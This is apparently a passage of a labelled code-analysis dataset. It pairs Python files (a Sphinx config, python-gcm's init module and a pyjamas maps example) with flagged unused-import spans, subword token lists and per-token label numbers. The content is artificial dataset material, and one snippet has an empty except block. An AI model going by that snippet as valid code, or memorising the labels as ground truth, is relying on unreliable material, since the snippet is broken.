"#",
" ",
"If",
" ",
"true",
",",
" ",
"\"(",
"C",
")",
" ",
"Copy",
"right",
" ",
"...\"",
" ",
"is",
" ",
"shown",
" ",
"in",
" ",
"the",
" ",
"HTM",
"L",
" ",
"footer",
".",
" ",
"Default",
" ",
"is",
" ",
"Tru",
"e",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"show",
"\\u",
"copyr",
"ight",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"an",
" ",
"Open",
"Sear",
"ch",
" ",
"description",
" ",
"file",
" ",
"will",
" ",
"be",
" ",
"output",
",",
" ",
"and",
" ",
"all",
" ",
"page",
"s",
" ",
"will",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"contain",
" ",
"a",
" ",
"<",
"link",
">",
" ",
"tag",
" ",
"refer",
"ring",
" ",
"to",
" ",
"it",
".",
" ",
" ",
"The",
" ",
"value",
" ",
"of",
" ",
"this",
" ",
"option",
" ",
"must",
" ",
"be",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"base",
" ",
"URL",
" ",
"from",
" ",
"whi",
"ch",
" ",
"the",
" ",
"finish",
"ed",
" ",
"HTM",
"L",
" ",
"is",
" ",
"serve",
"d",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"use",
"\\u",
"opens",
"ear",
"ch",
" ",
"=",
" ",
"''_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"is",
" ",
"the",
" ",
"file",
" ",
"name",
" ",
"suff",
"ix",
" ",
"for",
" ",
"HTM",
"L",
" ",
"files",
" ",
"(",
"e",
".",
"g",
".",
" ",
"\".",
"xh",
"tml",
"\")",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"html",
"\\u",
"file",
"\\u",
"suff",
"ix",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Output",
" ",
"file",
" ",
"base",
" ",
"name",
" ",
"for",
" ",
"HTM",
"L",
" ",
"help",
" ",
"builde",
"r",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"html",
"help",
"\\u",
"basename_",
"=_",
"'",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
"doc",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"La",
"Te",
"X",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"--------",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"late",
"x",
"\\u",
"elements_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"pape",
"r",
" ",
"size",
" ",
"('",
"letter",
"pape",
"r",
"'",
" ",
"or",
" ",
"'",
"a4",
"pape",
"r",
"')",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"papers",
"ize",
"':",
" ",
"'",
"letter",
"pape",
"r",
"',",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"font",
" ",
"size",
" ",
"('",
"10",
"pt",
"',",
" ",
"'",
"11",
"pt",
"'",
" ",
"or",
" ",
"'",
"1",
"2p",
"t",
"')",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"points",
"ize",
"':",
" ",
"'",
"10",
"pt",
"',",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Addition",
"al",
" ",
"stu",
"ff",
" ",
"for",
" ",
"the",
" ",
"La",
"Te",
"X",
" ",
"preamble",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#'",
"preamble",
"':",
" ",
"''",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Group",
"ing",
" ",
"the",
" ",
"document",
" ",
"tree",
" ",
"int",
"o",
" ",
"La",
"Te",
"X",
" ",
"files",
".",
" ",
"List",
" ",
"of",
" ",
"tuples_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"source",
" ",
"start",
" ",
"file",
",",
" ",
"target",
" ",
"name",
",",
" ",
"title",
",",
" ",
"author",
",",
" ",
"document",
"class",
" ",
"[",
"how",
"to",
"/",
"manu",
"al",
"])",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"late",
"x",
"\\u",
"documents_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"index",
"'_",
",_",
"'",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
".",
"tex",
"'_",
",_",
"u",
"'",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
" ",
"Document",
"ation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"u",
"'",
"Hol",
"ger",
" ",
"Dre",
"we",
"s",
"'_",
",_",
"'",
"manu",
"al",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"name",
" ",
"of",
" ",
"an",
" ",
"image",
" ",
"file",
" ",
"(",
"relative",
" ",
"to",
" ",
"this",
" ",
"director",
"y",
")",
" ",
"to",
" ",
"place",
" ",
"at",
" ",
"the",
" ",
"top",
" ",
"of_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"the",
" ",
"title",
" ",
"page",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"logo",
" ",
"=",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"For",
" ",
"\"",
"manu",
"al",
"\"",
" ",
"document",
"s",
",",
" ",
"if",
" ",
"this",
" ",
"is",
" ",
"true",
",",
" ",
"then",
" ",
"toplevel",
" ",
"heading",
"s",
" ",
"are",
" ",
"part",
"s",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"not",
" ",
"chapters",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"use",
"\\u",
"part",
"s",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"show",
" ",
"page",
" ",
"reference",
"s",
" ",
"after",
" ",
"internal",
" ",
"link",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"show",
"\\u",
"pager",
"ef",
"s",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"show",
" ",
"URL",
" ",
"addresse",
"s",
" ",
"after",
" ",
"external",
" ",
"link",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"show",
"\\u",
"urls",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Document",
"s",
" ",
"to",
" ",
"append",
" ",
"as",
" ",
"an",
" ",
"appendi",
"x",
" ",
"to",
" ",
"all",
" ",
"manu",
"als",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"appendi",
"ces",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"module",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"late",
"x",
"\\u",
"domain",
"\\u",
"indice",
"s",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"manu",
"al",
" ",
"page",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"--",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"One",
" ",
"entry",
" ",
"per",
" ",
"manu",
"al",
" ",
"page",
".",
" ",
"List",
" ",
"of",
" ",
"tuples_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"source",
" ",
"start",
" ",
"file",
",",
" ",
"name",
",",
" ",
"description",
",",
" ",
"author",
"s",
",",
" ",
"manu",
"al",
" ",
"section",
").",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"man",
"\\u",
"pages_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"index",
"'_",
",_",
"'",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
"'_",
",_",
"u",
"'",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
" ",
"Document",
"ation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"u",
"'",
"Hol",
"ger",
" ",
"Dre",
"we",
"s",
"'_",
"]_",
",_",
"1_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"show",
" ",
"URL",
" ",
"addresse",
"s",
" ",
"after",
" ",
"external",
" ",
"link",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"man",
"\\u",
"show",
"\\u",
"urls",
" ",
"=",
" ",
"False_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--",
" ",
"Optio",
"ns",
" ",
"for",
" ",
"Tex",
"info",
" ",
"output",
" ",
"--------------",
"--------------",
"--------------",
"------",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Group",
"ing",
" ",
"the",
" ",
"document",
" ",
"tree",
" ",
"int",
"o",
" ",
"Tex",
"info",
" ",
"files",
".",
" ",
"List",
" ",
"of",
" ",
"tuples_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"(",
"source",
" ",
"start",
" ",
"file",
",",
" ",
"target",
" ",
"name",
",",
" ",
"title",
",",
" ",
"author",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
"dir",
" ",
"menu",
" ",
"entry",
",",
" ",
"description",
",",
" ",
"category",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"tex",
"info",
"\\u",
"documents_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"index",
"'_",
",_",
"'",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
"'_",
",_",
"u",
"'",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
" ",
"Document",
"ation",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"u",
"'",
"Hol",
"ger",
" ",
"Dre",
"we",
"s",
"'_",
",_",
"'",
"django",
"-",
"dynami",
"c",
"-",
"scraper",
"'_",
",_",
"'",
"One",
" ",
"line",
" ",
"description",
" ",
"of",
" ",
"project",
".'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Mis",
"cell",
"ane",
"ous",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Document",
"s",
" ",
"to",
" ",
"append",
" ",
"as",
" ",
"an",
" ",
"appendi",
"x",
" ",
"to",
" ",
"all",
" ",
"manu",
"als",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"appendi",
"ces",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"module",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"domain",
"\\u",
"indice",
"s",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Ho",
"w",
" ",
"to",
" ",
"display",
" ",
"URL",
" ",
"addresse",
"s",
":",
" ",
"'",
"footnote",
"',",
" ",
"'",
"no",
"',",
" ",
"or",
" ",
"'",
"inline",
"'.",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"show",
"\\u",
"urls",
" ",
"=",
" ",
"'",
"footnote",
"'_",
"\\u\\u\\uNL\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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' and 'import from' | geeknam/python-gcm/gcm/__init__.py | [
{
"content": "from .gcm import GCM # pylint: disable=unused-import\n\n# -----------------------------------------------------------------------------\n\n# Set default logging handler to avoid \"No handler found\" warnings.\nimport logging\n\nassert GCM\n\ntry: # Python 2.7+\n from logging import NullHandler\nexcept ImportError:\n\nlogging.getLogger(__name__).addHandler(NullHandler())\n\ndel NullHandler\n\n# -----------------------------------------------------------------------------\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "import logging",
"start_line": 5,
"start_column": 0,
"end_line": 5,
"end_column": 14
}
]
| []
| 1 | true | [
"[CLS]_",
"Module_",
"is_",
"imported_",
"with_",
"'",
"import",
"'_",
"and_",
"'",
"import",
" ",
"from",
"'_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"from_",
"._",
"gcm",
"_",
"import_",
"GCM",
"_",
"#",
" ",
"pylint",
":",
" ",
"disable",
"=",
"unu",
"sed",
"-",
"import_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--------------",
"--------------",
"--------------",
"--------------",
"--------------",
"-------",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Set",
" ",
"default",
" ",
"logg",
"ing",
" ",
"handler",
" ",
"to",
" ",
"avoid",
" ",
"\"",
"No",
" ",
"handler",
" ",
"found",
"\"",
" ",
"warn",
"ings",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"logging_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"assert_",
"GCM",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"#",
" ",
"Pyth",
"on",
" ",
"2.7",
"+_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"from_",
"logging_",
"import_",
"Null",
"Handler_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Import",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"logging_",
"._",
"get",
"Logger_",
"(_",
"\\u\\u",
"name\\u\\u_",
")_",
"._",
"add",
"Handler_",
"(_",
"Null",
"Handler_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"del_",
"Null",
"Handler_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"--------------",
"--------------",
"--------------",
"--------------",
"--------------",
"-------",
"_",
"\\u\\u\\uNL\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | anandology/pyjamas/examples/gmaps/EventProperties.py | [
{
"content": "# Copyright (C) 2009 Daniel Carvalho <[email protected]>\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom pyjamas.ui.RootPanel import RootPanel, RootPanelCls\nfrom pyjamas.ui.SimplePanel import SimplePanel\nfrom pyjamas import DOM\nfrom pyjamas.Timer import Timer\nfrom __pyjamas__ import JS\n\nfrom pyjamas.gmaps.Map import Map, MapTypeId, MapOptions\nfrom pyjamas.gmaps.Base import LatLng, LatLngBounds\nfrom pyjamas.gmaps.InfoWindow import InfoWindow, InfoWindowOptions\n\n\n\n\nif __name__ == '__main__':\n\n root = RootPanel()\n root.add(EventProperties())\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class EventProperties(SimplePanel):\n\n",
"metadata": "root.EventProperties",
"header": "['module', '___EOS___']",
"index": 25
},
{
"content": " def __init__(self):\n SimplePanel.__init__(self)\n self.setSize('100%', '100%')\n\n self.myLatLng = LatLng(-25.363882, 131.044922)\n\n options = MapOptions()\n options.zoom = 4\n options.center = self.myLatLng\n options.mapTypeId = MapTypeId.ROADMAP\n\n self.map = Map(self.getElement(), options)\n self.map.addListener(\"zoom_changed\", self.zoomChanged)\n\n options = InfoWindowOptions()\n options.content = \"Zoom Level Test\"\n options.position = self.myLatLng\n\n self.infoWindow = InfoWindow(options)\n self.infoWindow.open(self.map)\n\n self.map.addListener(\"zoom_changed\", self.zoomChanged)",
"metadata": "root.EventProperties.__init__",
"header": "['class', 'EventProperties', '(', 'SimplePanel', ')', ':', '___EOS___']",
"index": 27
},
{
"content": " def zoomChanged(self):\n zoomLevel = self.map.getZoom()\n self.map.setCenter(self.myLatLng)\n self.infoWindow.setContent(\"Zoom: \" + str(zoomLevel))\n\n if zoomLevel == 0:\n self.map.setZoom(10)",
"metadata": "root.EventProperties.zoomChanged",
"header": "['class', 'EventProperties', '(', 'SimplePanel', ')', ':', '___EOS___']",
"index": 50
}
]
| [
{
"span": "from pyjamas.ui.RootPanel import RootPanel, RootPanelCls",
"start_line": 14,
"start_column": 0,
"end_line": 14,
"end_column": 56
},
{
"span": "from pyjamas import DOM",
"start_line": 16,
"start_column": 0,
"end_line": 16,
"end_column": 23
},
{
"span": "from pyjamas.Timer import Timer",
"start_line": 17,
"start_column": 0,
"end_line": 17,
"end_column": 31
},
{
"span": "from __pyjamas__ import JS",
"start_line": 18,
"start_column": 0,
"end_line": 18,
"end_column": 26
},
{
"span": "from pyjamas.gmaps.Base import LatLng, LatLngBounds",
"start_line": 21,
"start_column": 0,
"end_line": 21,
"end_column": 51
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"Copy",
"right",
" ",
"(",
"C",
")",
" ",
"200",
"9",
" ",
"Dan",
"iel",
" ",
"Car",
"val",
"ho",
" ",
"<",
"idn",
"ael",
"@",
"gma",
"il",
".",
"com",
">_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"License",
"d",
" ",
"under",
" ",
"the",
" ",
"Ap",
"ache",
" ",
"License",
",",
" ",
"Version",
" ",
"2.0",
" ",
"(",
"the",
" ",
"\"",
"License",
"\");",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"you",
" ",
"may",
" ",
"not",
" ",
"use",
" ",
"this",
" ",
"file",
" ",
"except",
" ",
"in",
" ",
"compli",
"anc",
"e",
" ",
"with",
" ",
"the",
" ",
"License",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"You",
" ",
"may",
" ",
"obtain",
" ",
"a",
" ",
"copy",
" ",
"of",
" ",
"the",
" ",
"License",
" ",
"at_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"http",
"://",
"www",
".",
"apa",
"che",
".",
"org",
"/",
"license",
"s",
"/",
"LICENSE",
"-",
"2.0_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Un",
"less",
" ",
"require",
"d",
" ",
"by",
" ",
"applica",
"ble",
" ",
"law",
" ",
"or",
" ",
"agree",
"d",
" ",
"to",
" ",
"in",
" ",
"writ",
"ing",
",",
" ",
"software",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"distributed",
" ",
"under",
" ",
"the",
" ",
"License",
" ",
"is",
" ",
"distributed",
" ",
"on",
" ",
"an",
" ",
"\"",
"AS",
" ",
"IS",
"\"",
" ",
"BAS",
"IS",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"WITH",
"OUT",
" ",
"WAR",
"RAN",
"TIES",
" ",
"OR",
" ",
"CONDITION",
"S",
" ",
"OF",
" ",
"ANY",
" ",
"KIND",
",",
" ",
"eit",
"her",
" ",
"express",
" ",
"or",
" ",
"impli",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"See",
" ",
"the",
" ",
"License",
" ",
"for",
" ",
"the",
" ",
"specific",
" ",
"language",
" ",
"govern",
"ing",
" ",
"permissi",
"ons",
" ",
"and_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"limit",
"ation",
"s",
" ",
"under",
" ",
"the",
" ",
"License",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"pyj",
"ama",
"s_",
"._",
"ui_",
"._",
"Roo",
"t",
"Panel_",
"import_",
"Roo",
"t",
"Panel_",
",_",
"Roo",
"t",
"Pane",
"l",
"Cls",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"pyj",
"ama",
"s_",
"._",
"ui_",
"._",
"Simple",
"Panel_",
"import_",
"Simple",
"Panel_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"pyj",
"ama",
"s_",
"import_",
"DOM_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"pyj",
"ama",
"s_",
"._",
"Timer_",
"import_",
"Timer_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"\\u\\u",
"pyj",
"ama",
"s\\u\\u_",
"import_",
"JS_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"pyj",
"ama",
"s_",
"._",
"gma",
"ps_",
"._",
"Map_",
"import_",
"Map_",
",_",
"Map",
"Type",
"Id_",
",_",
"Map",
"Options_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"pyj",
"ama",
"s_",
"._",
"gma",
"ps_",
"._",
"Base_",
"import_",
"Lat",
"Ln",
"g_",
",_",
"Lat",
"Ln",
"g",
"Bounds_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"pyj",
"ama",
"s_",
"._",
"gma",
"ps_",
"._",
"Info",
"Window_",
"import_",
"Info",
"Window_",
",_",
"Info",
"Window",
"Options_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"\\u\\u",
"name\\u\\u_",
"==_",
"'\\u",
"\\u",
"main",
"\\u\\u'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"root_",
"=_",
"Roo",
"t",
"Panel_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"root_",
"._",
"add_",
"(_",
"Event",
"Properties_",
"(_",
")_",
")_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"class_",
"Event",
"Properties_",
"(_",
"Simple",
"Panel_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Properties_",
"(_",
"Simple",
"Panel_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"Simple",
"Panel_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"set",
"Size_",
"(_",
"'",
"100",
"%'_",
",_",
"'",
"100",
"%'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"my",
"Lat",
"Ln",
"g_",
"=_",
"Lat",
"Ln",
"g_",
"(_",
"-_",
"25.",
"363",
"882",
"_",
",_",
"131",
".04",
"492",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"options_",
"=_",
"Map",
"Options_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"options_",
"._",
"zoom_",
"=_",
"4_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"options_",
"._",
"center_",
"=_",
"self_",
"._",
"my",
"Lat",
"Ln",
"g_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"options_",
"._",
"map",
"Type",
"Id_",
"=_",
"Map",
"Type",
"Id_",
"._",
"RO",
"ADM",
"AP_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"map_",
"=_",
"Map_",
"(_",
"self_",
"._",
"get",
"Element_",
"(_",
")_",
",_",
"options_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"map_",
"._",
"add",
"Listener_",
"(_",
"\"",
"zoom",
"\\u",
"change",
"d",
"\"_",
",_",
"self_",
"._",
"zoom",
"Changed_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"options_",
"=_",
"Info",
"Window",
"Options_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"options_",
"._",
"content_",
"=_",
"\"",
"Zoom",
" ",
"Leve",
"l",
" ",
"Test",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"options_",
"._",
"position_",
"=_",
"self_",
"._",
"my",
"Lat",
"Ln",
"g_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"info",
"Window_",
"=_",
"Info",
"Window_",
"(_",
